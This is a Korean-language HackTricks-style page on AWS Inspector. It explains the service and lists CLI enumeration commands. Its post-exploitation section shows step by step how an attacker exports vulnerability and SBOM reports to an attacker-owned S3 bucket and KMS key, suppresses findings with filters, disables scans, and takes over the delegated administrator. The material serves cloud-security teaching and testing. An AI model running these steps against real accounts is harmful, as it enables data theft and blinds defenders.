AWS - Inspector Enum

AWS - Inspector Enum

Support HackTricks

Inspector

Amazon Inspector는 AWS 환경의 보안을 강화하기 위해 설계된 고급 자동화 취약점 관리 서비스입니다. 이 서비스는 Amazon EC2 인스턴스, Amazon ECR의 컨테이너 이미지, Amazon ECS 및 AWS Lambda 함수의 취약점과 의도하지 않은 네트워크 노출을 지속적으로 스캔합니다. 강력한 취약점 인텔리전스 데이터베이스를 활용하여 Amazon Inspector는 심각도 수준 및 수정 권장 사항을 포함한 상세한 결과를 제공하여 조직이 보안 위험을 사전에 식별하고 해결할 수 있도록 돕습니다. 이 포괄적인 접근 방식은 다양한 AWS 서비스 전반에 걸쳐 강화된 보안 태세를 보장하며, 규정 준수 및 위험 관리에 기여합니다.

Key elements

Findings

Amazon Inspector의 Findings는 EC2 인스턴스, ECR 리포지토리 또는 Lambda 함수의 스캔 중 발견된 취약점 및 노출에 대한 상세 보고서입니다. 상태에 따라 Findings는 다음과 같이 분류됩니다:

  • Active: Finding이 수정되지 않았습니다.

  • Closed: Finding이 수정되었습니다.

  • Suppressed: 하나 이상의 suppression rules로 인해 이 상태로 표시된 Finding입니다.

Findings는 다음 세 가지 유형으로도 분류됩니다:

  • Package: 이 Findings는 리소스에 설치된 소프트웨어 패키지의 취약점과 관련이 있습니다. 예를 들어, 알려진 보안 문제가 있는 오래된 라이브러리나 종속성이 있습니다.

  • Code: 이 범주는 AWS 리소스에서 실행되는 애플리케이션 코드에서 발견된 취약점을 포함합니다. 일반적인 문제는 보안 위반으로 이어질 수 있는 코딩 오류 또는 불안전한 관행입니다.

  • Network: 네트워크 Findings는 공격자가 악용할 수 있는 네트워크 구성의 잠재적 노출을 식별합니다. 여기에는 열린 포트, 불안전한 네트워크 프로토콜 및 잘못 구성된 보안 그룹이 포함됩니다.

Filters and Suppression Rules

Amazon Inspector의 필터 및 suppression rules는 Findings를 관리하고 우선 순위를 지정하는 데 도움을 줍니다. 필터를 사용하면 심각도 또는 리소스 유형과 같은 특정 기준에 따라 Findings를 세분화할 수 있습니다. Suppression rules는 낮은 위험으로 간주되거나 이미 완화된 특정 Findings를 억제할 수 있게 하여 보안 보고서의 과부하를 방지하고 더 중요한 문제에 집중할 수 있도록 합니다.

Software Bill of Materials (SBOM)

Amazon Inspector의 Software Bill of Materials (SBOM)는 소프트웨어 패키지 내의 모든 구성 요소, 라이브러리 및 종속성을 자세히 설명하는 내보낼 수 있는 중첩 인벤토리 목록입니다. SBOM은 소프트웨어 공급망에 대한 투명성을 제공하여 더 나은 취약점 관리 및 규정 준수를 가능하게 합니다. 이는 오픈 소스 및 타사 소프트웨어 구성 요소와 관련된 위험을 식별하고 완화하는 데 중요합니다.

Key features

Export findings

Amazon Inspector는 Findings를 Amazon S3 Buckets, Amazon EventBridge 및 AWS Security Hub로 내보낼 수 있는 기능을 제공하여 특정 날짜와 시간에 식별된 취약점 및 노출에 대한 상세 보고서를 생성할 수 있습니다. 이 기능은 CSV 및 JSON과 같은 다양한 출력 형식을 지원하여 다른 도구 및 시스템과의 통합을 용이하게 합니다. 내보내기 기능은 보고서에 포함된 데이터의 사용자 지정을 허용하여 심각도, 리소스 유형 또는 날짜 범위와 같은 특정 기준에 따라 Findings를 필터링하고 기본적으로 현재 AWS 리전의 모든 Active 상태의 Findings를 포함합니다.

Findings를 내보낼 때는 데이터를 내보내는 동안 암호화하기 위해 Key Management Service (KMS) 키가 필요합니다. KMS 키는 내보낸 Findings가 무단 액세스로부터 보호되도록 하여 민감한 취약점 정보에 대한 추가 보안 계층을 제공합니다.

Amazon EC2 instances scanning

Amazon Inspector는 Amazon EC2 인스턴스에 대한 강력한 스캔 기능을 제공하여 취약점 및 보안 문제를 감지합니다. Inspector는 EC2 인스턴스에서 추출한 메타데이터를 보안 권고의 규칙과 비교하여 패키지 취약점 및 네트워크 도달 가능성 문제를 생성합니다. 이러한 스캔은 계정의 scan mode 설정 구성에 따라 agent-based 또는 agentless 방법을 통해 수행할 수 있습니다.

  • Agent-Based: AWS Systems Manager (SSM) 에이전트를 사용하여 심층 스캔을 수행합니다. 이 방법은 인스턴스에서 직접 데이터 수집 및 분석을 수행할 수 있습니다.

  • Agentless: 인스턴스에 에이전트를 설치할 필요가 없는 경량 대안을 제공하며, EC2 인스턴스의 모든 볼륨에 대한 EBS 스냅샷을 생성하고 취약점을 찾은 후 삭제합니다; 기존 AWS 인프라를 활용하여 스캔합니다.

스캔 모드는 EC2 스캔을 수행하는 데 사용할 방법을 결정합니다:

  • Agent-Based: EC2 인스턴스에 SSM 에이전트를 설치하여 심층 검사를 수행합니다.

  • Hybrid Scanning: 에이전트 기반 및 에이전트 없는 방법을 결합하여 범위를 극대화하고 성능 영향을 최소화합니다. SSM 에이전트가 설치된 EC2 인스턴스에서는 Inspector가 에이전트 기반 스캔을 수행하고, SSM 에이전트가 없는 경우에는 에이전트 없는 스캔을 수행합니다.

또 다른 중요한 기능은 EC2 Linux 인스턴스에 대한 deep inspection입니다. 이 기능은 EC2 Linux 인스턴스의 소프트웨어 및 구성을 철저히 분석하여 운영 체제 취약점, 애플리케이션 취약점 및 잘못된 구성 등을 포함한 상세한 취약점 평가를 제공하여 포괄적인 보안 평가를 보장합니다. 이는 custom paths 및 모든 하위 디렉터리를 검사하여 달성됩니다. 기본적으로 Amazon Inspector는 다음을 스캔하지만, 각 회원 계정은 최대 5개의 추가 사용자 정의 경로를 정의할 수 있으며, 각 위임된 관리자는 최대 10개를 정의할 수 있습니다:

  • /usr/lib

  • /usr/lib64

  • /usr/local/lib

  • /usr/local/lib64

Amazon ECR container images scanning

Amazon Inspector는 Amazon Elastic Container Registry (ECR) 컨테이너 이미지에 대한 강력한 스캔 기능을 제공하여 패키지 취약점을 효율적으로 감지하고 관리합니다.

  • Basic Scanning: 이는 컨테이너 이미지에서 알려진 OS 패키지 취약점을 식별하는 빠르고 경량의 스캔으로, 오픈 소스 Clair 프로젝트의 표준 규칙 세트를 사용합니다. 이 스캔 구성으로 리포지토리는 푸시 시 또는 수동 스캔을 수행할 때 스캔됩니다.

  • Enhanced Scanning: 이 옵션은 푸시 스캔 외에 지속적인 스캔 기능을 추가합니다. Enhanced scanning은 각 컨테이너 이미지의 레이어를 더 깊이 분석하여 OS 패키지 및 프로그래밍 언어 패키지의 취약점을 더 높은 정확도로 식별합니다. 기본 이미지와 추가 레이어를 모두 분석하여 잠재적인 보안 문제에 대한 포괄적인 뷰를 제공합니다.

Amazon Lambda functions scanning

Amazon Inspector는 AWS Lambda 함수 및 그 레이어에 대한 포괄적인 스캔 기능을 포함하여 서버리스 애플리케이션의 보안 및 무결성을 보장합니다. Inspector는 Lambda 함수에 대해 두 가지 유형의 스캔을 제공합니다:

  • Lambda standard scanning: 이 기본 기능은 Lambda 함수 및 레이어에 추가된 애플리케이션 패키지 종속성의 소프트웨어 취약점을 식별합니다. 예를 들어, 함수가 알려진 취약점이 있는 python-jwt 라이브러리 버전을 사용하는 경우 Finding을 생성합니다.

  • Lambda code scanning: 사용자 정의 애플리케이션 코드를 분석하여 보안 문제를 감지하고, 주입 결함, 데이터 유출, 약한 암호화 및 누락된 암호화와 같은 취약점을 탐지합니다. 발견된 취약점을 강조하는 코드 스니펫을 캡처합니다. Findings에는 문제를 해결하기 위한 상세한 수정 제안 및 코드 스니펫이 포함됩니다.

Center for Internet Security (CIS) scans

Amazon Inspector는 Amazon EC2 인스턴스 운영 체제를 Center for Internet Security (CIS)의 모범 사례 권장 사항과 비교하기 위해 CIS 스캔을 포함합니다. 이러한 스캔은 구성이 산업 표준 보안 기준을 준수하는지 확인합니다.

  • Configuration: CIS 스캔은 시스템 구성이 특정 CIS Benchmark 권장 사항을 충족하는지 평가하며, 각 검사는 CIS 체크 ID 및 제목에 연결됩니다.

  • Execution: 스캔은 인스턴스 태그 및 정의된 일정에 따라 수행되거나 예약됩니다.

  • Results: 스캔 후 결과는 어떤 체크가 통과, 건너뛰기 또는 실패했는지 나타내어 각 인스턴스의 보안 태세에 대한 통찰력을 제공합니다.

Enumeration

# Administrator and member accounts #

## Retrieve information about the AWS Inpsector delegated administrator for your organization (ReadOnlyAccess policy is enough for this)
aws inspector2 get-delegated-admin-account

## List the members who are associated with the AWS Inspector administrator account (ReadOnlyAccess policy is enough for this)
aws inspector2 list-members [--only-associated | --no-only-associated]
## Retrieve information about a member account (ReadOnlyAccess policy is enough for this)
aws inspector2 get-member --account-id <value>
## Retrieve the status of AWS accounts within your environment (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-account-status [--account-ids <value>]
## Retrieve the free trial status for the specified accounts (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-free-trial-info --account-ids <value>
## Retrieve the EC2 Deep Inspection status for the member accounts (Requires to be the delegated administrator)
aws inspector2 batch-get-member-ec2-deep-inspection-status [--account-ids <value>]

## List an account's permissions associated with AWS Inspector
aws inspector2 list-account-permissions

# Findings #

## List a subset of information of the findings for your envionment (ReadOnlyAccess policy is enough for this)
aws inspector2 list-findings
## Retrieve vulnerability intelligence details for the specified findings
aws inspector2 batch-get-finding-details --finding-arns <value>
## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this)
aws inspector2 list-finding-aggregations --aggregation-type <FINDING_TYPE | PACKAGE | TITLE | REPOSITORY | AMI | AWS_EC2_INSTANCE | AWS_ECR_CONTAINER | IMAGE_LAYER\
| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids <value>]
## Retrieve code snippet information about one or more specified code vulnerability findings
aws inspector2 batch-get-code-snippet --finding-arns <value>
## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this)
aws inspector2 get-findings-report-status --report-id <value>

# CIS #

## List CIS scan configurations (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scan-configurations
## List the completed CIS scans (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scans
## Retrieve a report from a completed CIS scan
aws inspector2 get-cis-scan-report --scan-arn <value> [--target-accounts <value>]
## Retrieve details about the specific CIS scan over the specified resource
aws inspector2 get-cis-scan-result-details --account-id <value> --scan-arn <value> --target-resource-id <value>
## List CIS scan results broken down by check
aws inspector2 list-cis-scan-results-aggregated-by-checks --scan-arn <value>
## List CIS scan results broken down by target resource
aws inspector2 list-cis-scan-results-aggregated-by-target-resource --scan-arn <value>

# Configuration #

## Describe AWS Inspector settings for AWS Organization (ReadOnlyAccess policy is enough for this)
aws inspector2 describe-organization-configuration
## Retrieve the configuration settings about EC2 scan and ECR re-scan
aws inspector2 get-configuration
## Retrieve EC2 Deep Inspection configuration associated with your account
aws inspector2 get-ec2-deep-inspection-configuration

# Miscellaneous #

## Retrieve the details of a Software Bill of Materials (SBOM) report
aws inspector2 get-sbom-export --report-id <value>

## Retrieve the coverage details for the specified vulnerabilities
aws inspector2 search-vulnerabilities --filter-criteria <vulnerabilityIds=id1,id2..>

## Retrieve the tags attached to the specified resource
aws inspector2 list-tags-for-resource --resource-arn <value>

## Retrieve the AWS KMS key used to encrypt the specified code snippets
aws inspector2 get-encryption-key --resource-type <AWS_EC2_INSTANCE | AWS_ECR_CONTAINER_IMAGE | AWS_ECR_REPOSITORY | AWS_LAMBDA_FUNCTION> --scan-type <NETWORK | PACKAGE | CODE>

## List the filters associated to your AWS account
aws inspector2 list-filters

## List the types of statistics AWS Inspector can generate (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage
## Retrieve statistical data and about the resources AWS Inspector monitors (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage-statistics

## List the aggregated usage total over the last 30 days
aws inspector2 list-usage-totals [--account-ids <value>]

### INSPECTOR CLASSIC ###

## Assessments info, there is a "describe" action for each one to get more info
aws inspector list-assessment-runs
aws inspector list-assessment-targets
aws inspector list-assessment-templates
aws inspector list-event-subscriptions

## Get findings
aws inspector list-findings

## Get exclusions
aws inspector list-exclusions --assessment-run-arn <arn>

## Rule packages
aws inspector list-rules-packages

Post Exploitation

공격자의 관점에서 이 서비스는 공격자가 다른 인스턴스/컨테이너를 손상시키는 데 도움이 될 수 있는 취약점과 네트워크 노출을 찾는 데 도움을 줄 수 있습니다.

그러나 공격자는 피해자가 취약점을 볼 수 없도록 이 서비스를 방해하는 데에도 관심이 있을 수 있습니다(모든 취약점 또는 특정 취약점).

inspector2:CreateFindingsReport, inspector2:CreateSBOMReport

공격자는 취약점 또는 소프트웨어 자재 명세서(SBOM)에 대한 자세한 보고서를 생성하고 이를 AWS 환경에서 유출할 수 있습니다. 이 정보는 특정 약점, 구식 소프트웨어 또는 안전하지 않은 종속성을 식별하는 데 악용될 수 있으며, 이를 통해 표적 공격이 가능해집니다.

# Findings report
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
# SBOM report
aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]
  1. Amazon S3 버킷 생성 및 피해자 Amazon Inspector에서 접근할 수 있도록 정책을 연결합니다:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "allow-inspector",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"s3:PutObject",
"s3:PutObjectAcl",
"s3:AbortMultipartUpload"
],
"Resource": "arn:aws:s3:::inspector-findings/*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
},
"ArnLike": {
"aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
}
}
}
]
}
  1. Amazon KMS 키를 생성하고 피해자의 Amazon Inspector에서 사용할 수 있도록 정책을 연결합니다:

{
"Version": "2012-10-17",
"Id": "key-policy",
"Statement": [
{
...
},
{
"Sid": "Allow victim Amazon Inspector to use the key",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
}
}
}
]
}
  1. 발견 보고서를 생성하는 명령을 실행하여 이를 유출합니다:

aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
  • 잠재적 영향: 상세한 취약점 및 소프트웨어 보고서의 생성 및 유출, 특정 취약점 및 보안 약점에 대한 통찰력 획득.

inspector2:CancelFindingsReport, inspector2:CancelSbomExport

공격자는 지정된 발견 보고서 또는 SBOM 보고서의 생성을 취소하여 보안 팀이 취약점 및 소프트웨어 자재 명세서(SBOM)에 대한 적시 정보를 받지 못하게 하여 보안 문제의 탐지 및 수정이 지연되도록 할 수 있습니다.

# Cancel findings report generation
aws inspector2 cancel-findings-report --report-id <value>
# Cancel SBOM report generatiom
aws inspector2 cancel-sbom-export --report-id <value>
  • 잠재적 영향: 보안 모니터링의 중단 및 보안 문제의 적시 탐지 및 수정 방지.

inspector2:CreateFilter, inspector2:UpdateFilter, inspector2:DeleteFilter

이 권한을 가진 공격자는 어떤 취약점과 보안 문제가 보고되거나 억제되는지를 결정하는 필터링 규칙을 조작할 수 있습니다( action이 SUPPRESS로 설정되면 억제 규칙이 생성됩니다). 이는 보안 관리자에게 중요한 취약점을 숨겨, 이러한 약점을 탐지되지 않고 악용하기 쉽게 만듭니다. 중요한 필터를 변경하거나 제거함으로써, 공격자는 시스템을 관련 없는 발견으로 넘쳐나게 하여 효과적인 보안 모니터링 및 대응을 방해할 수 있습니다.

# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
# Update
aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [--filter-criteria <value>] [--reason <value>]
# Delete
aws inspector2 delete-filter --arn <value>
  • 잠재적 영향: 중요한 취약점의 은폐 또는 억제, 또는 시스템을 무관한 결과로 범람시키기.

inspector2:DisableDelegatedAdminAccount, (inspector2:EnableDelegatedAdminAccount & organizations:ListDelegatedAdministrators & organizations:EnableAWSServiceAccess & iam:CreateServiceLinkedRole)

공격자는 보안 관리 구조를 심각하게 방해할 수 있습니다.

  • 위임된 관리자 계정을 비활성화하면, 공격자는 보안 팀이 Amazon Inspector 설정 및 보고서에 접근하고 관리하는 것을 방지할 수 있습니다.

  • 무단 관리자 계정을 활성화하면 공격자는 보안 구성을 제어할 수 있으며, 스캔을 비활성화하거나 설정을 수정하여 악의적인 활동을 숨길 수 있습니다.

무단 계정이 위임된 관리자가 되기 위해서는 피해자와 동일한 조직에 있어야 합니다.

무단 계정이 위임된 관리자가 되기 위해서는, 합법적인 위임된 관리자가 비활성화된 후, 무단 계정이 위임된 관리자로 활성화되기 전에 합법적인 관리자가 조직에서 위임된 관리자에서 등록 해제되어야 합니다. 이는 다음 명령어로 수행할 수 있습니다 (organizations:DeregisterDelegatedAdministrator 권한 필요): aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)

# Disable
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
# Enable
aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <value>
  • 잠재적 영향: 보안 관리의 중단.

inspector2:AssociateMember, inspector2:DisassociateMember

공격자는 Amazon Inspector 조직 내에서 회원 계정의 연관성을 조작할 수 있습니다. 무단 계정을 연관시키거나 합법적인 계정을 분리함으로써, 공격자는 보안 스캔 및 보고서에 포함되는 계정을 제어할 수 있습니다. 이로 인해 중요한 계정이 보안 모니터링에서 제외될 수 있으며, 공격자는 이러한 계정의 취약점을 탐지되지 않고 악용할 수 있습니다.

이 작업은 위임된 관리자가 수행해야 합니다.

# Associate
aws inspector2 associate-member --account-id <value>
# Disassociate
aws inspector2 disassociate-member --account-id <value>
  • 잠재적 영향: 보안 스캔에서 주요 계정 제외, 취약점의 탐지되지 않은 악용 가능성.

inspector2:Disable, (inspector2:Enable & iam:CreateServiceLinkedRole)

inspector2:Disable 권한을 가진 공격자는 특정 리소스 유형(EC2, ECR, Lambda, Lambda 코드)에 대한 보안 스캔을 비활성화할 수 있으며, 지정된 계정에서 AWS 환경의 일부가 모니터링되지 않고 공격에 취약하게 남게 됩니다. 또한, inspector2:Enableiam:CreateServiceLinkedRole 권한 덕분에 공격자는 의심스러운 구성을 탐지되지 않도록 선택적으로 스캔을 다시 활성화할 수 있습니다.

이 작업은 위임된 관리자가 수행해야 합니다.

# Disable
aws inspector2 disable --account-ids <value> [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>]
# Enable
aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids <value>]
  • 잠재적 영향: 보안 모니터링에서 블라인드 스팟 생성.

inspector2:UpdateOrganizationConfiguration

이 권한을 가진 공격자는 Amazon Inspector 조직의 구성을 업데이트할 수 있으며, 이는 새로운 회원 계정에 대해 활성화된 기본 스캔 기능에 영향을 미칩니다.

이 작업은 위임된 관리자가 수행해야 합니다.

aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
  • 잠재적 영향: 조직의 보안 스캔 정책 및 구성을 변경합니다.

inspector2:TagResource, inspector2:UntagResource

공격자는 AWS Inspector 리소스의 태그를 조작할 수 있으며, 이는 보안 평가를 조직하고 추적하며 자동화하는 데 중요합니다. 태그를 변경하거나 제거함으로써 공격자는 보안 스캔에서 취약점을 숨기고, 준수 보고를 방해하며, 자동화된 수정 프로세스에 간섭할 수 있어, 점검되지 않은 보안 문제와 시스템 무결성 손상을 초래할 수 있습니다.

aws inspector2 tag-resource --resource-arn <value> --tags <value>
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
  • Potential Impact: 취약점 숨기기, 컴플라이언스 보고서 중단, 보안 자동화 중단 및 비용 할당 중단.

References

Support HackTricks

Last updated